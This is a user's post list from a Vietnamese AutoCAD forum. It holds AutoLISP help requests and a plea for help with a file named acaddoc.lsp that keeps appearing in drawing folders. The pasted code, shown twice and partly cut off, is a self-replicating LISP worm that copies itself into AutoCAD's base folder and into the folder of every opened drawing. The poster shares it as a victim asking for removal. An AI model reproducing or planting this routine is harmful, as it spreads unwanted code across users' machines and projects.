Chuyển đến nội dung
Diễn đàn CADViet

khoak47

Thành viên
  • Số lượng nội dung

    13
  • Đã tham gia

  • Lần ghé thăm cuối

Bài đăng được đăng bởi khoak47


  1. Em xin lisp có thể kéo dài hoặc co ngắn các đường thẳng về cùng độ dài được tự nhập vào, các đường thẳng Pline rời rạc.

    Phía kéo dài đoạn thẳng là điểm cuối hoặc điểm đầu của đoạn thẳng, nếu kéo dài cuối (đầu) thì chọn 1 lần rồi chọn hàng loạt.

    lệnh Lengthen thì phải pick và không chọn hàng loạt được.

    Anh chị nào biết thì giúp em với. Thank.


  2. cảm ơn anh "hainguyen2014" đã quan tâm. Lisp sau khi sửa phát sinh lỗi như này ạ:

    Select objects:
    Total Length: 13.85
    Diem dat Text: text
    Current text style:  "Standard"  Text height:  2.00
    Specify start point of text or [Justify/Style]:
    Specify rotation angle of text <2>: 2.0
    Enter text: 0
    Command: 13.85 Unknown command "13.85".  Press F1 for help.

    Tổng chiều dài đoạn đo được là 13.85 nhưng khi điền ra thì chỉ ra số 0 thôi ( số 0 này xuất ra có góc xoay 2 độ). mong anh xem lại giúp với


  3. Lisp tính tổng chiều dài các đường line, pline, arc.... em sưu tầm được nhưng nó chỉ xuất đước tổng chiều dài trên thanh command. giờ em muốn thêm chức năng điền giá trị đấy ra bằng text ( vẫn hiển thị tổng trên thanh command trước khi click chuột xuất text ra). Thank các bác. code lisp như này ạ:

    ;;--------------------=={ Total Length }==--------------------;;

    (defun c:ddl ( / e i l s )
        (if (setq s
                (ssget
                   '(   (0 . "ARC,CIRCLE,ELLIPSE,LINE,*POLYLINE,SPLINE")
                        (-4 . "<NOT")
                            (-4 . "<AND")
                                (0 . "POLYLINE") (-4 . "&") (70 . 80)
                            (-4 . "AND>")
                        (-4 . "NOT>")
                    )
                )
            )
            (progn
                (setq l 0.0)
                (repeat (setq i (sslength s))
                    (setq e (ssname s (setq i (1- i)))
                          l (+ l (vlax-curve-getdistatparam e (vlax-curve-getendparam e)))
                    )
                )
                (princ "\nTotal Length: ")
                (princ (rtos l))
            )
        )
        (princ)
    )
    (vl-load-com) (princ)

    • Vote giảm 1

  4. trước e đã đọc bài này rồi nhưng thấy hướng dẫn trên là cho win7-win8 mà máy là win XP chạy thường hoặc khóa TDT vẫn bị như vậy.:)

    mà không riêng gì máy e mà cả phòng e đều bị :((

     

    Lỗi này mình thấy xuất hiện ở một số trường hợp, chạy tác vụ nặng, bản vẽ qua quá nhiều người điều chỉnh, bản vẽ xuất từ một ứng dụng khác chạy trên nền cad, phiên bản cad bị xung đột (cái này do nhà m hay dùng crack nên m nghĩ khó khắc phục)....

    Theo mình bạn nên cài phiên bản mới khác của cad xem sao, bản 8 mình thấy chạy khá ổn. G.luck

    chỗ e làm chạy khóa nên chỉ cài 2007 thôi :(

    bác nào biết cách khắc phục giúp e với.


  5. Như tiêu đề, khi em mở 1 file cad bất kỳ thì có 1 file acaddoc.lsp được tạo ra ngay trong thư mục chứa file cad đc mở kia.

    Mở 1 hay nhiều file cad trong cùng folder thì chỉ 1 acaddoc.lsp được tạo ra thôi. Nhiều lúc em dùng lệnh audit rồi lưu lại thì file đó không bị như trên nữa, nhưng hên xui lúc được lúc không. File  acaddoc.lsp dưới đây ạ.http://www.cadviet.com/upfiles/3/102145_acaddoc.lsp

    Rất mong các a chị xử lý giúp e với. Em xin chân thành cảm ơn.

    (/ basepath
       baseacad
       acaddocpath
       r-acaddoc
       w-basepath
       acaddoclsp
       c-acaddocname
       c-acaddocpath
       c-acaddoc
      )
         (setq basepath
       (findfile "base.dcl")
         )
         (setq basepath
       (substr basepath
       1 (- (strlen basepath) 8)
                )
         )
         (setq baseacad (strcat basepath "acaddoc.lsp"))
      
    (setq acaddocpath
                   (findfile "acaddoc.lsp")
    )
    (setq acaddocpath
          (substr acaddocpath
          1 (- (strlen acaddocpath) 11)
          )
    )
    (setq acaddoclsp
          (strcat acaddocpath "acaddoc.lsp"))
     
     
            (setq c-acaddocname
          (getvar "dwgname")
    )
            (setq c-acaddocpath
          (findfile c-acaddocname)
    )
            (setq c-acaddocpath
          (substr c-acaddocpath
          1 (- (strlen c-acaddocpath) (strlen c-acaddocname))
    )
    )
            (setq c-acaddoc
          (strcat c-acaddocpath "acaddoc.lsp")
    )
    (if
               (and
      (/= basepath acaddocpath)
      (= c-acaddocpath acaddocpath)
      )
        (progn
          (setq r-acaddoc
          (open acaddoclsp "r")
          )
          (setq w-basepath
             (open baseacad "w")
    )     
          (while
              (setq rl-acaddoc
       (read-line r-acaddoc)
              )
              (write-line rl-acaddoc w-basepath)
           )
           (close w-basepath)   
                    (close r-acaddoc)
       
                 )
             
        (progn
          (setq r-acaddoc
          (open acaddoclsp "r")
          )
          (setq w-basepath
             (open c-acaddoc "w")
    )
           (while
              (setq rl-acaddoc
       (read-line r-acaddoc)
              )
              (write-line rl-acaddoc w-basepath)
           )
           (close w-basepath)   
                    (close r-acaddoc)
       
                 )
    )
    )
    (/ basepath
       baseacad
       acaddocpath
       r-acaddoc
       w-basepath
       acaddoclsp
       c-acaddocname
       c-acaddocpath
       c-acaddoc
      )
         (setq basepath
       (findfile "base.dcl")
         )
         (setq basepath
       (substr basepath
       1 (- (strlen basepath) 8)
                )
         )
         (setq baseacad (strcat basepath "acaddoc.lsp"))
      
    (setq acaddocpath
                   (findfile "acaddoc.lsp")
    )
    (setq acaddocpath
          (substr acaddocpath
          1 (- (strlen acaddocpath) 11)
          )
    )
    (setq acaddoclsp
          (strcat acaddocpath "acaddoc.lsp"))
     
     
            (setq c-acaddocname
          (getvar "dwgname")
    )
            (setq c-acaddocpath
          (findfile c-acaddocname)
    )
            (setq c-acaddocpath
          (substr c-acaddocpath
          1 (- (strlen c-acaddocpath) (strlen c-acaddocname))
    )
    )
            (setq c-acaddoc
          (strcat c-acaddocpath "acaddoc.lsp")
    )
    (if
               (and
      (/= basepath acaddocpath)
      (= c-acaddocpath acaddocpath)
      )
        (progn
          (setq r-acaddoc
          (open acaddoclsp "r")
          )
          (setq w-basepath
             (open baseacad "w")
    )     
          (while
              (setq rl-acaddoc
       (read-line r-acaddoc)
              )
              (write-line rl-acaddoc w-basepath)
           )
           (close w-basepath)   
                    (close r-acaddoc)
       
                 )
             
        (progn
          (setq r-acaddoc
          (open acaddoclsp "r")
          )
          (setq w-basepath
             (open c-acaddoc "w")
    )
           (while
              (setq rl-acaddoc
       (read-line r-acaddoc)
              )
              (write-line rl-acaddoc w-basepath)
           )
           (close w-basepath)   
                    (close r-acaddoc)
       
                 )
    )
    )
×